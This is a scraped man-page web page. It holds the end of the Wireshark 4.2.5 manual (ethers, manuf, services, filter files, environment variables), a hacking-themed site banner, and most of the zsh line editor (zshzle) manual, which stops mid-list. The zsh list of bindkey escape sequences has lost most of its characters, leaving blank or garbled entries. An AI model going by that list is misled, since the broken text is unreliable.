A partially matched name will be printed as “subnet-name.remaining-address”. For example, “192.168.0.1” under the subnet above would be printed as “ws_test_network.1”; if the mask length above had been 16 rather than 24, the printed address would be “ws_test_network.0.1”.

Name Resolution (ethers)

The ethers files are consulted to correlate 6-byte hardware addresses to names. First the personal ethers file is tried and if an address is not found there the global ethers file is tried next.

Each line contains one hardware address and name, separated by whitespace. The digits of the hardware address are separated by colons (:), dashes (-) or periods (.). The same separator character must be used consistently in an address. The following three lines are valid lines of an ethers file:

ff:ff:ff:ff:ff:ff Broadcast c0-00-ff-ff-ff-ff TR_broadcast 00.00.00.00.00.00 Zero_broadcast

The global ethers file is looked for in the /etc directory on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and in the main installation directory (for example, C:\Program Files\Wireshark) on Windows systems.

The personal ethers file is looked for in the same directory as the personal preferences file.

Capture filter name resolution is handled by libpcap on UNIX-compatible systems and Npcap or WinPcap on Windows. As such the Wireshark personal ethers file will not be consulted for capture filter name resolution.

Name Resolution (manuf)

The manuf file is used to match the 3-byte vendor portion of a 6-byte hardware address with the manufacturer’s name; it can also contain well-known MAC addresses and address ranges specified with a netmask. The format of the file is the same as the ethers files, except that entries such as:

00:00:0C Cisco

can be provided, with the 3-byte OUI and the name for a vendor, and entries such as:

00-00-0C-07-AC/40 All-HSRP-routers

can be specified, with a MAC address and a mask indicating how many bits of the address must match. The above entry, for example, has 40 significant bits, or 5 bytes, and would match addresses from 00-00-0C-07-AC-00 through 00-00-0C-07-AC-FF. The mask need not be a multiple of 8.

The manuf file is looked for in the same directory as the global preferences file.

Name Resolution (services)

The services file is used to translate port numbers into names. Both the global services file and personal services files are used if they exist.

The file has the standard services file syntax; each line contains one (service) name and one transport identifier separated by white space. The transport identifier includes one port number and one transport protocol name (typically tcp, udp, or sctp) separated by a /.

An example is:

mydns 5045/udp # My own Domain Name Server mydns 5045/tcp # My own Domain Name Server

Name Resolution (ipxnets)

The ipxnets files are used to correlate 4-byte IPX network numbers to names. First the global ipxnets file is tried and if that address is not found there the personal one is tried next.

The format is the same as the ethers file, except that each address is four bytes instead of six. Additionally, the address can be represented as a single hexadecimal number, as is more common in the IPX world, rather than four hex octets. For example, these four lines are valid lines of an ipxnets file:

C0.A8.2C.00 HR c0-a8-1c-00 CEO 00:00:BE:EF IT_Server1 110f FileServer3

The global ipxnets file is looked for in the /etc directory on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and in the main installation directory (for example, C:\Program Files\Wireshark) on Windows systems.

The personal ipxnets file is looked for in the same directory as the personal preferences file.

Capture Filters

The cfilters files contain system-wide and personal capture filters. Each line contains one filter, starting with the string displayed in the dialog box in quotation marks, followed by the filter string itself:

“HTTP” port 80 “DCERPC” port 135

The global cfilters file uses the same directory as the global preferences file.

The personal cfilters file uses the same directory as the personal preferences file. It is written through the Capture:Capture Filters dialog.

If the global cfilters file exists, it is used only if the personal cfilters file does not exist; global and personal capture filters are not merged.

Display Filters

The dfilters files contain system-wide and personal display filters. Each line contains one filter, starting with the string displayed in the dialog box in quotation marks, followed by the filter string itself:

“HTTP” http “DCERPC” dcerpc

The global dfilters file uses the same directory as the global preferences file.

The personal dfilters file uses the same directory as the personal preferences file. It is written through the Analyze:Display Filters dialog.

If the global dfilters file exists, it is used only if the personal dfilters file does not exist; global and personal display filters are not merged.

Color Filters (Coloring Rules)

The colorfilters files contain system-wide and personal color filters. Each line contains one filter, starting with the string displayed in the dialog box, followed by the corresponding display filter. Then the background and foreground colors are appended:

a comment

@tcp@tcp@[59345,58980,65534][0,0,0]
@udp@udp@[28834,57427,65533][0,0,0]

The global colorfilters file uses the same directory as the global preferences file.

The personal colorfilters file uses the same directory as the personal preferences file. It is written through the View:Coloring Rules dialog.

If the global colorfilters file exists, it is used only if the personal colorfilters file does not exist; global and personal color filters are not merged.

Plugins

See above in the description of the About:Plugins page.

ENVIRONMENT VARIABLES

WIRESHARK_CONFIG_DIR

This environment variable overrides the location of personal configuration files. On UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, it defaults to $XDG_CONFIG_HOME/wireshark (or, if that directory doesn’t exist but $HOME/.wireshark does exist, $HOME/.wireshark); this is typically $HOME/.config/wireshark. On Windows, it defaults to %APPDATA%\Wireshark (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark). Available since Wireshark 3.0.

WIRESHARK_DEBUG_WMEM_OVERRIDE

Setting this environment variable forces the wmem framework to use the specified allocator backend for all allocations, regardless of which backend is normally specified by the code. This is mainly useful to developers when testing or debugging. See README.wmem in the source distribution for details.

WIRESHARK_RUN_FROM_BUILD_DIRECTORY

This environment variable causes the plugins and other data files to be loaded from the build directory (where the program was compiled) rather than from the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX.

WIRESHARK_DATA_DIR

This environment variable causes the various data files to be loaded from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

WIRESHARK_EXTCAP_DIR

This environment variable causes the various extcap programs and scripts to be run from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

WIRESHARK_PLUGIN_DIR

This environment variable causes the various plugins to be loaded from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

ERF_RECORDS_TO_CHECK

This environment variable controls the number of ERF records checked when deciding if a file really is in the ERF format. Setting this environment variable a number higher than the default (20) would make false positives less likely.

IPFIX_RECORDS_TO_CHECK

This environment variable controls the number of IPFIX records checked when deciding if a file really is in the IPFIX format. Setting this environment variable a number higher than the default (20) would make false positives less likely.

WIRESHARK_ABORT_ON_DISSECTOR_BUG

If this environment variable is set, Wireshark will call abort(3) when a dissector bug is encountered. abort(3) will cause the program to exit abnormally; if you are running Wireshark in a debugger, it should halt in the debugger and allow inspection of the process, and, if you are not running it in a debugger, it will, on some OSes, assuming your environment is configured correctly, generate a core dump file. This can be useful to developers attempting to troubleshoot a problem with a protocol dissector.

WIRESHARK_ABORT_ON_TOO_MANY_ITEMS

If this environment variable is set, Wireshark will call abort(3) if a dissector tries to add too many items to a tree (generally this is an indication of the dissector not breaking out of a loop soon enough). abort(3) will cause the program to exit abnormally; if you are running Wireshark in a debugger, it should halt in the debugger and allow inspection of the process, and, if you are not running it in a debugger, it will, on some OSes, assuming your environment is configured correctly, generate a core dump file. This can be useful to developers attempting to troubleshoot a problem with a protocol dissector.

WIRESHARK_QUIT_AFTER_CAPTURE

Cause Wireshark to exit after the end of the capture session. This doesn’t automatically start a capture; you must still use -k to do that. You must also specify an autostop condition, e.g. -c or -a duration:…. This means that you will not be able to see the results of the capture after it stops; it’s primarily useful for testing.

WIRESHARK_LOG_LEVEL

This environment variable controls the verbosity of diagnostic messages to the console. From less verbose to most verbose levels can be critical, warning, message, info, debug or noisy. Levels above the current level are also active. Levels critical and error are always active.

WIRESHARK_LOG_FATAL

Sets the fatal log level. Fatal log levels cause the program to abort. This level can be set to Error, critical or warning. Error is always fatal and is the default.

WIRESHARK_LOG_DOMAINS

This environment variable selects which log domains are active. The filter is given as a case-insensitive comma separated list. If set only the included domains will be enabled. The default domain is always considered to be enabled. Domain filter lists can be preceded by ! to invert the sense of the match.

WIRESHARK_LOG_DEBUG

List of domains with debug log level. This sets the level of the provided log domains and takes precedence over the active domains filter. If preceded by ! this disables the debug level instead.

WIRESHARK_LOG_NOISY

Same as above but for noisy log level instead.

AUTHORS

Wireshark would not be the powerful, featureful application it is without the generous contributions of hundreds of developers.

A complete list of authors can be found in the AUTHORS file in Wireshark’s source code repository and at <https://www.wireshark.org/about.html#authors>.

SEE ALSO

wireshark-filter(4), tshark(1), editcap(1), pcap(3), dumpcap(1), mergecap(1), text2pcap(1), pcap-filter(7) or tcpdump(8)

NOTES

This is the manual page for Wireshark 4.2.5. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2033 - Linux cli command zshzle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshzle and provides detailed information about the command zshzle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshzle.

NAME 🖥️ zshzle 🖥️

zsh command line editor

DESCRIPTION

If the ZLE option is set (which it is by default in interactive shells) and the shell input is attached to the terminal, the user is able to edit command lines.

There are two display modes. The first, multiline mode, is the default. It only works if the TERM parameter is set to a valid terminal type that can move the cursor up. The second, single line mode, is used if TERM is invalid or incapable of moving the cursor up, or if the SINGLE_LINE_ZLE option is set. This mode is similar to ksh, and uses no termcap sequences. If TERM is “emacs”, the ZLE option will be unset by default.

The parameters BAUD, COLUMNS, and LINES are also used by the line editor. See Parameters Used By The Shell in zshparam(1).

The parameter zle_highlight is also used by the line editor; see Character Highlighting below. Highlighting of special characters and the region between the cursor and the mark (as set with set-mark-command in Emacs mode, or by visual-mode in Vi mode) is enabled by default; consult this reference for more information. Irascible conservatives will wish to know that all highlighting may be disabled by the following setting:

zle_highlight=(none)

In many places, references are made to the numeric argument. This can by default be entered in emacs mode by holding the alt key and typing a number, or pressing escape before each digit, and in vi command mode by typing the number before entering a command. Generally the numeric argument causes the next command entered to be repeated the specified number of times, unless otherwise noted below; this is implemented by the digit-argument widget. See also the Arguments subsection of the Widgets section for some other ways the numeric argument can be modified.

KEYMAPS

A keymap in ZLE contains a set of bindings between key sequences and ZLE commands. The empty key sequence cannot be bound.

There can be any number of keymaps at any time, and each keymap has one or more names. If all of a keymap’s names are deleted, it disappears. bindkey can be used to manipulate keymap names.

Initially, there are eight keymaps:

emacs
EMACS emulation

viins
vi emulation - insert mode

vicmd
vi emulation - command mode

viopp
vi emulation - operator pending

visual
vi emulation - selection active

isearch
incremental search mode

command
read a command name

.safe
fallback keymap

The `.safe’ keymap is special. It can never be altered, and the name can never be removed. However, it can be linked to other names, which can be removed. In the future other special keymaps may be added; users should avoid using names beginning with `.’ for their own keymaps.

In addition to these names, either `emacs’ or `viins’ is also linked to the name `main’. If one of the VISUAL or EDITOR environment variables contain the string `vi’ when the shell starts up then it will be `viins’, otherwise it will be `emacs’. bindkey’s -e and -v options provide a convenient way to override this default choice.

When the editor starts up, it will select the `main’ keymap. If that keymap doesn’t exist, it will use `.safe’ instead.

In the `.safe’ keymap, each single key is bound to self-insert, except for ^J (line feed) and ^M (return) which are bound to accept-line. This is deliberately not pleasant to use; if you are using it, it means you deleted the main keymap, and you should put it back.

Reading Commands

When ZLE is reading a command from the terminal, it may read a sequence that is bound to some command and is also a prefix of a longer bound string. In this case ZLE will wait a certain time to see if more characters are typed, and if not (or they don’t match any longer string) it will execute the binding. This timeout is defined by the KEYTIMEOUT parameter; its default is 0.4 sec. There is no timeout if the prefix string is not itself bound to a command.

The key timeout is also applied when ZLE is reading the bytes from a multibyte character string when it is in the appropriate mode. (This requires that the shell was compiled with multibyte mode enabled; typically also the locale has characters with the UTF-8 encoding, although any multibyte encoding known to the operating system is supported.) If the second or a subsequent byte is not read within the timeout period, the shell acts as if ? were typed and resets the input state.

As well as ZLE commands, key sequences can be bound to other strings, by using `bindkey -s’. When such a sequence is read, the replacement string is pushed back as input, and the command reading process starts again using these fake keystrokes. This input can itself invoke further replacement strings, but in order to detect loops the process will be stopped if there are twenty such replacements without a real command being read.

A key sequence typed by the user can be turned into a command name for use in user-defined widgets with the read-command widget, described in the subsection `Miscellaneous’ of the section `Standard Widgets’ below.

Local Keymaps

While for normal editing a single keymap is used exclusively, in many modes a local keymap allows for some keys to be customised. For example, in an incremental search mode, a binding in the isearch keymap will override a binding in the main keymap but all keys that are not overridden can still be used.

If a key sequence is defined in a local keymap, it will hide a key sequence in the global keymap that is a prefix of that sequence. An example of this occurs with the binding of iw in viopp as this hides the binding of i in vicmd. However, a longer sequence in the global keymap that shares the same prefix can still apply so for example the binding of ^Xa in the global keymap will be unaffected by the binding of ^Xb in the local keymap.

ZLE BUILTINS

The ZLE module contains three related builtin commands. The bindkey command manipulates keymaps and key bindings; the vared command invokes ZLE on the value of a shell parameter; and the zle command manipulates editing widgets and allows command line access to ZLE commands from within shell functions.

bindkey [ options ] -l [ -L ] [ keymap … ]

bindkey [ options ] -d

bindkey [ options ] -D keymap

bindkey [ options ] -A old-keymap new-keymap

bindkey [ options ] -N new-keymap [ old-keymap ]

bindkey [ options ] -m

bindkey [ options ] -r in-string

bindkey [ options ] -s in-string out-string

bindkey [ options ] in-string command

bindkey [ options ] [ in-string ] bindkey’s options can be divided into three categories: keymap selection for the current command, operation selection, and others. The keymap selection options are:

-e Selects keymap `emacs’ for any operations by the current command, and also links `emacs’ to `main’ so that it is selected by default the next time the editor starts.

-v
Selects keymap `viins’ for any operations by the current command, and also links `viins’ to `main’ so that it is selected by default the next time the editor starts.

-a
Selects keymap `vicmd’ for any operations by the current command.

-M keymap
The keymap specifies a keymap name that is selected for any operations by the current command.

If a keymap selection is required and none of the options above are used, the `main’ keymap is used. Some operations do not permit a keymap to be selected, namely:

-l List all existing keymap names; if any arguments are given, list just those keymaps.

If the -L option is also used, list in the form of bindkey commands to create or link the keymaps. `bindkey -lL main’ shows which keymap is linked to `main’, if any, and hence if the standard emacs or vi emulation is in effect. This option does not show the .safe keymap because it cannot be created in that fashion; however, neither is `bindkey -lL .safe’ reported as an error, it simply outputs nothing.

-d
Delete all existing keymaps and reset to the default state.

-D keymap
Delete the named keymaps.

-A old-keymap new-keymap
Make the new-keymap name an alias for old-keymap, so that both names refer to the same keymap. The names have equal standing; if either is deleted, the other remains. If there is already a keymap with the new-keymap name, it is deleted.

-N new-keymap [ old-keymap ]
Create a new keymap, named new-keymap. If a keymap already has that name, it is deleted. If an old-keymap name is given, the new keymap is initialized to be a duplicate of it, otherwise the new keymap will be empty.

To use a newly created keymap, it should be linked to main. Hence the sequence of commands to create and use a new keymap `mymap’ initialized from the emacs keymap (which remains unchanged) is:

bindkey -N mymap emacs bindkey -A mymap main

Note that while `bindkey -A newmap main’ will work when newmap is emacs or viins, it will not work for vicmd, as switching from vi insert to command mode becomes impossible.

The following operations act on the `main’ keymap if no keymap selection option was given:

-m Add the built-in set of meta-key bindings to the selected keymap. Only keys that are unbound or bound to self-insert are affected.

-r in-string
Unbind the specified in-strings in the selected keymap. This is exactly equivalent to binding the strings to undefined-key.

When -R is also used, interpret the in-strings as ranges.

When -p is also used, the in-strings specify prefixes. Any binding that has the given in-string as a prefix, not including the binding for the in-string itself, if any, will be removed. For example,

bindkey -rpM viins ‘^[’

will remove all bindings in the vi-insert keymap beginning with an escape character (probably cursor keys), but leave the binding for the escape character itself (probably vi-cmd-mode). This is incompatible with the option -R.

-s in-string out-string
Bind each in-string to each out-string. When in-string is typed, out-string will be pushed back and treated as input to the line editor. When -R is also used, interpret the in-strings as ranges.

Note that both in-string and out-string are subject to the same form of interpretation, as described below.

in-string command
Bind each in-string to each command. When -R is used, interpret the in-strings as ranges.

[ in-string ]
List key bindings. If an in-string is specified, the binding of that string in the selected keymap is displayed. Otherwise, all key bindings in the selected keymap are displayed. (As a special case, if the -e or -v option is used alone, the keymap is not displayed - the implicit linking of keymaps is the only thing that happens.)

When the option -p is used, the in-string must be present. The listing shows all bindings which have the given key sequence as a prefix, not including any bindings for the key sequence itself.

When the -L option is used, the list is in the form of bindkey commands to create the key bindings.

When the -R option is used as noted above, a valid range consists of two characters, with an optional `-’ between them. All characters between the two specified, inclusive, are bound as specified.

For either in-string or out-string, the following escape sequences are recognised:


bell character


backspace

, 
escape

** **
form feed

** **
linefeed (newline)


carriage return


horizontal tab

** **
vertical tab

****NNN
character code in octal

\xNN
character code in hexadecimal

\uNNNN
unicode character code in hexadecimal

\UNNNNNNNN
unicode character code in hexadecimal

\M[-]X
character with meta bit set

\C[-]X
control character

**^**X
control character

In all other cases, `**’ escapes the following character. Delete is written as `^?’. Note that `\M^?’ and `^\M?’ are not the same, and that (unlike emacs), the bindings `\M-X’ and `X’ are entirely distinct, although they are initialized to the same bindings by `bindkey -m'.

vared [ -Aacghe ] [ -p prompt ] [ -r rprompt ]

[ -M main-keymap ] [ -m vicmd-keymap ]

[ -i init-widget ] [ -f finish-widget ]

[ -t tty ] name The value of the parameter name is loaded into the edit buffer, and the line editor is invoked. When the editor exits, name is set to the string value returned by the editor. When the -c flag is given, the parameter is created if it doesn’t already exist. The -a flag may be given with -c to create an array parameter, or the -A flag to create an associative array. If the type of an existing parameter does not match the type to be created, the parameter is unset and recreated. The -g flag may be given to suppress warnings from the WARN_CREATE_GLOBAL and WARN_NESTED_VAR options.

If an array or array slice is being edited, separator characters as defined in $IFS will be shown quoted with a backslash, as will backslashes themselves. Conversely, when the edited text is split into an array, a backslash quotes an immediately following separator character or backslash; no other special handling of backslashes, or any handling of quotes, is performed.

Individual elements of existing array or associative array parameters may be edited by using subscript syntax on name. New elements are created automatically, even without -c.

If the -p flag is given, the following string will be taken as the prompt to display at the left. If the -r flag is given, the following string gives the prompt to display at the right. If the -h flag is specified, the history can be accessed from ZLE. If the -e flag is given, typing ^D (Control-D) on an empty line causes vared to exit immediately with a non-zero return value.

The -M option gives a keymap to link to the main keymap during editing, and the -m option gives a keymap to link to the vicmd keymap during editing. For vi-style editing, this allows a pair of keymaps to override viins and vicmd. For emacs-style editing, only -M is normally needed but the -m option may still be used. On exit, the previous keymaps will be restored.

Vared calls the usual `zle-line-init’ and `zle-line-finish’ hooks before and after it takes control. Using the -i and -f options, it is possible to replace these with other custom widgets.

If `-t tty’ is given, tty is the name of a terminal device to be used instead of the default /dev/tty. If tty does not refer to a terminal an error is reported.

zle

zle -l [ -L | -a ] [ string … ]

zle -D widget

zle -A old-widget new-widget

zle -N widget [ function ]

zle -f flag [ flag… ]

zle -C widget completion-widget function

zle -R [ -c ] [ display-string ] [ string … ]

zle -M string

zle -U string

zle -K keymap

zle -F [ -L | -w ] [ fd [ handler ] ]

zle -I

zle -T [ tc function | -r tc | -L ]

zle widget [ -n num ] [ -f flag ] [ -Nw ] [ -K keymap ] args … The zle builtin performs a number of different actions concerning ZLE.

With no options and no arguments, only the return status will be set. It is zero if ZLE is currently active and widgets could be invoked using this builtin command and non-zero otherwise. Note that even if non-zero status is returned, zle may still be active as part of the completion system; this does not allow direct calls to ZLE widgets.

Otherwise, which operation it performs depends on its options:

-l [ -L | -a ] [ string ] List all existing user-defined widgets. If the -L option is used, list in the form of zle commands to create the widgets.

When combined with the -a option, all widget names are listed, including the builtin ones. In this case the -L option is ignored.

If at least one string is given, and -a is present or -L is not used, nothing will be printed. The return status will be zero if all strings are names of existing widgets and non-zero if at least one string is not a name of a defined widget. If -a is also present, all widget names are used for the comparison including builtin widgets, else only user-defined widgets are used.

If at least one string is present and the -L option is used, user-defined widgets matching any string are listed in the form of zle commands to create the widgets.

-D widget
Delete the named widgets.

-A old-widget new-widget
Make the new-widget name an alias for old-widget, so that both names refer to the same widget. The names have equal standing; if either is deleted, the other remains. If there is already a widget with the new-widget name, it is deleted.

-N widget [ function ]
Create a user-defined widget. If there is already a widget with the specified name, it is overwritten. When the new widget is invoked from within the editor, the specified shell function is called. If no function name is specified, it defaults to the same name as the widget. For further information, see the section `Widgets’ below.

-f flag [ flag… ]
Set various flags on the running widget. Possible values for flag are:

yank for indicating that the widget has yanked text into the buffer. If the widget is wrapping an existing internal widget, no further action is necessary, but if it has inserted the text manually, then it should also take care to set YANK_START and YANK_END correctly. yankbefore does the same but is used when the yanked text appears after the cursor.

kill for indicating that text has been killed into the cutbuffer. When repeatedly invoking a kill widget, text is appended to the cutbuffer instead of replacing it, but when wrapping such widgets, it is necessary to call `zle -f kill’ to retain this effect.

vichange for indicating that the widget represents a vi change that can be repeated as a whole with `vi-repeat-change’. The flag should be set early in the function before inspecting the value of NUMERIC or invoking other widgets. This has no effect for a widget invoked from insert mode. If insert mode is active when the widget finishes, the change extends until next returning to command mode.

-C widget completion-widget function
Create a user-defined completion widget named widget. The completion widget will behave like the built-in completion-widget whose name is given as completion-widget. To generate the completions, the shell function function will be called. For further information, see zshcompwid(1).

-R [ -c ] [ display-string ] [ string … ]
Redisplay the command line. If a display-string is given and not empty, this is shown in the status line (immediately below the line being edited).

If the optional strings are given they are listed below the prompt in the same way as completion lists are printed. If no strings are given but the -c option is used such a list is cleared.

Note that immediately after returning from running widgets, the command line will be redisplayed and the strings displayed will be erased. Therefore, this option is only useful for widgets that do not exit immediately after using it.

This command can safely be called outside user defined widgets; if zle is active, the display will be refreshed, while if zle is not active, the command has no effect. In this case there will usually be no other arguments.

The status is zero if zle was active, else one.

-M string
As with the -R option, the string will be displayed below the command line; unlike the -R option, the string will not be put into the status line but will instead be printed normally below the prompt. This means that the string will still be displayed after the widget returns (until it is overwritten by subsequent commands).

-U string
This pushes the characters in the string onto the input stack of ZLE. After the widget currently executed finishes ZLE will behave as if the characters in the string were typed by the user.

As ZLE uses a stack, if this option is used repeatedly the last string pushed onto the stack will be processed first. However, the characters in each string will be processed in the order in which they appear in the string.

-K keymap
Selects the keymap named keymap. An error message will be displayed if there is no such keymap.

This keymap selection affects the interpretation of following keystrokes within this invocation of ZLE. Any following invocation (e.g., the next command line) will start as usual with the `main’ keymap selected.

-F [ -L | -w ] [ fd [ handler ] ]
Only available if your system supports one of the `poll’ or `select’ system calls; most modern systems do.

Installs handler (the name of a shell function) to handle input from file descriptor fd. Installing a handler for an fd which is already handled causes the existing handler to be replaced. Any number of handlers for any number of readable file descriptors may be installed. Note that zle makes no attempt to check whether this fd is actually readable when installing the handler. The user must make their own arrangements for handling the file descriptor when zle is not active.

When zle is attempting to read data, it will examine both the terminal and the list of handled fd’s. If data becomes available on a handled fd, zle calls handler with the fd which is ready for reading as the first argument. Under normal circumstances this is the only argument, but if an error was detected, a second argument provides details: `hup’ for a disconnect, `nval’ for a closed or otherwise invalid descriptor, or `err’ for any other condition. Systems that support only the `select’ system call always use `err'.

If the option -w is also given, the handler is instead a line editor widget, typically a shell function made into a widget using `zle -N’. In that case handler can use all the facilities of zle to update the current editing line. Note, however, that as handling fd takes place at a low level changes to the display will not automatically appear; the widget should call `zle -R’ to force redisplay. As of this writing, widget handlers only support a single argument and thus are never passed a string for error state, so widgets must be prepared to test the descriptor themselves.

If either type of handler produces output to the terminal, it should call `zle -I’ before doing so (see below). Handlers should not attempt to read from the terminal.

If no handler is given, but an fd is present, any handler for that fd is removed. If there is none, an error message is printed and status 1 is returned.

If no arguments are given, or the -L option is supplied, a list of handlers is printed in a form which can be stored for later execution.

An fd (but not a handler) may optionally be given with the -L option; in this case, the function will list the handler if any, else silently return status 1.

Note that this feature should be used with care. Activity on one of the fd’s which is not properly handled can cause the terminal to become unusable. Removing an fd handler from within a signal trap may cause unpredictable behavior.

Here is a simple example of using this feature. A connection to a remote TCP port is created using the ztcp command; see the description of the zsh/net/tcp module in zshmodules(1). Then a handler is installed which simply prints out any data which arrives on this connection. Note that `select’ will indicate that the file descriptor needs handling if the remote side has closed the connection; we handle that by testing for a failed read.

if ztcp pwspc 2811; then tcpfd=$REPLY handler() { zle -I local line if ! read -r line <&$1; then # select marks this fd if we reach EOF, # so handle this specially. print “[Read on fd $1 failed, removing.]” >&2 zle -F $1 return 1 fi print -r - $line } zle -F $tcpfd handler fi

-I
Unusually, this option is most useful outside ordinary widget functions, though it may be used within if normal output to the terminal is required. It invalidates the current zle display in preparation for output; typically this will be from a trap function. It has no effect if zle is not active. When a trap exits, the shell checks to see if the display needs restoring, hence the following will print output in such a way as not to disturb the line being edited:

TRAPUSR1() { # Invalidate zle display [[ -o zle ]] && zle -I # Show output print Hello }

In general, the trap function may need to test whether zle is active before using this method (as shown in the example), since the zsh/zle module may not even be loaded; if it is not, the command can be skipped.

It is possible to call `zle -I’ several times before control is returned to the editor; the display will only be invalidated the first time to minimise disruption.

Note that there are normally better ways of manipulating the display from within zle widgets; see, for example, `zle -R’ above.

The returned status is zero if zle was invalidated, even though this may have been by a previous call to `zle -I’ or by a system notification. To test if a zle widget may be called at this point, execute zle with no arguments and examine the return status.

-T
This is used to add, list or remove internal transformations on the processing performed by the line editor. It is typically used only for debugging or testing and is therefore of little interest to the general user.

`zle -T transformation func’ specifies that the given transformation (see below) is effected by shell function func.

`zle -Tr transformation’ removes the given transformation if it was present (it is not an error if none was).

`zle -TL’ can be used to list all transformations currently in operation.

Currently the only transformation is tc. This is used instead of outputting termcap codes to the terminal. When the transformation is in operation the shell function is passed the termcap code that would be output as its first argument; if the operation required a numeric argument, that is passed as a second argument. The function should set the shell variable REPLY to the transformed termcap code. Typically this is used to produce some simply formatted version of the code and optional argument for debugging or testing. Note that this transformation is not applied to other non-printing characters such as carriage returns and newlines.

widget [ -n num ] [ -f flag ] [ -Nw ] [ -K keymap ] args
Invoke the specified widget. This can only be done when ZLE is active; normally this will be within a user-defined widget.

With the options -n and -N, the current numeric argument will be saved and then restored after the call to widget; `-n num’ sets the numeric argument temporarily to num, while `-N’ sets it to the default, i.e. as if there were none.

With the option -K, keymap will be used as the current keymap during the execution of the widget. The previous keymap will be restored when the widget exits.

Normally, calling a widget in this way does not set the special parameter WIDGET and related parameters, so that the environment appears as if the top-level widget called by the user were still active. With the option -w, WIDGET and related parameters are set to reflect the widget being executed by the zle call.

Normally, when widget returns the special parameter LASTWIDGET will point to it. This can be inhibited by passing the option -f nolast.

Any further arguments will be passed to the widget; note that as standard argument handling is performed, any general argument list should be preceded by . If it is a shell function, these are passed down as positional parameters; for builtin widgets it is up to the widget in question what it does with them. Currently arguments are only handled by the incremental-search commands, the history-search-forward and -backward and the corresponding functions prefixed by vi-, and by universal-argument. No error is flagged if the command does not use the arguments, or only uses some of them.

The return status reflects the success or failure of the operation carried out by the widget, or if it is a user-defined widget the return status of the shell function.

A non-zero return status causes the shell to beep when the widget exits, unless the BEEP options was unset or the widget was called via the zle command. Thus if a user defined widget requires an immediate beep, it should call the beep widget directly.

ZLE WIDGETS

All actions in the editor are performed by `widgets’. A widget’s job is simply to perform some small action. The ZLE commands that key sequences in keymaps are bound to are in fact widgets. Widgets can be user-defined or built in.

The standard widgets built into ZLE are listed in the section `Standard Widgets’ below. Other built-in widgets can be defined by other modules (see zshmodules(1)). Each built-in widget has two names: its normal canonical name, and the same name preceded by a `.’. The `.’ name is special: it can’t be rebound to a different widget. This makes the widget available even when its usual name has been redefined.

User-defined widgets are defined using `zle -N’, and implemented as shell functions. When the widget is executed, the corresponding shell function is executed, and can perform editing (or other) actions. It is recommended that user-defined widgets should not have names starting with `.'.

USER-DEFINED WIDGETS

User-defined widgets, being implemented as shell functions, can execute any normal shell command. They can also run other widgets (whether built-in or user-defined) using the zle builtin command. The standard input of the function is redirected from /dev/null to prevent external commands from unintentionally blocking ZLE by reading from the terminal, but read -k or read -q can be used to read characters. Finally, they can examine and edit the ZLE buffer being edited by reading and setting the special parameters described below.

These special parameters are always available in widget functions, but are not in any way special outside ZLE. If they have some normal value outside ZLE, that value is temporarily inaccessible, but will return when the widget function exits. These special parameters in fact have local scope, like parameters created in a function using local.

Inside completion widgets and traps called while ZLE is active, these parameters are available read-only.

Note that the parameters appear as local to any ZLE widget in which they appear. Hence if it is desired to override them this needs to be done within a nested function:

widget-function() { # $WIDGET here refers to the special variable # that is local inside widget-function () { # This anonymous nested function allows WIDGET # to be used as a local variable. The -h # removes the special status of the variable. local -h WIDGET } }

BUFFER (scalar) The entire contents of the edit buffer. If it is written to, the cursor remains at the same offset, unless that would put it outside the buffer.

BUFFERLINES (integer)
The number of screen lines needed for the edit buffer currently displayed on screen (i.e. without any changes to the preceding parameters done after the last redisplay); read-only.

CONTEXT (scalar)
The context in which zle was called to read a line; read-only. One of the values:

start The start of a command line (at prompt PS1).

cont
A continuation to a command line (at prompt PS2).

select
In a select loop (at prompt PS3).

vared
Editing a variable in vared.

CURSOR (integer)
The offset of the cursor, within the edit buffer. This is in the range 0 to $#BUFFER, and is by definition equal to $#LBUFFER. Attempts to move the cursor outside the buffer will result in the cursor being moved to the appropriate end of the buffer.

CUTBUFFER (scalar)
The last item cut using one of the `kill-’ commands; the string which the next yank would insert in the line. Later entries in the kill ring are in the array killring. Note that the command `zle copy-region-as-kill string’ can be used to set the text of the cut buffer from a shell function and cycle the kill ring in the same way as interactively killing text.

HISTNO (integer)
The current history number. Setting this has the same effect as moving up or down in the history to the corresponding history line. An attempt to set it is ignored if the line is not stored in the history. Note this is not the same as the parameter HISTCMD, which always gives the number of the history line being added to the main shell’s history. HISTNO refers to the line being retrieved within zle.

ISEARCHMATCH_ACTIVE (integer)

ISEARCHMATCH_START (integer)

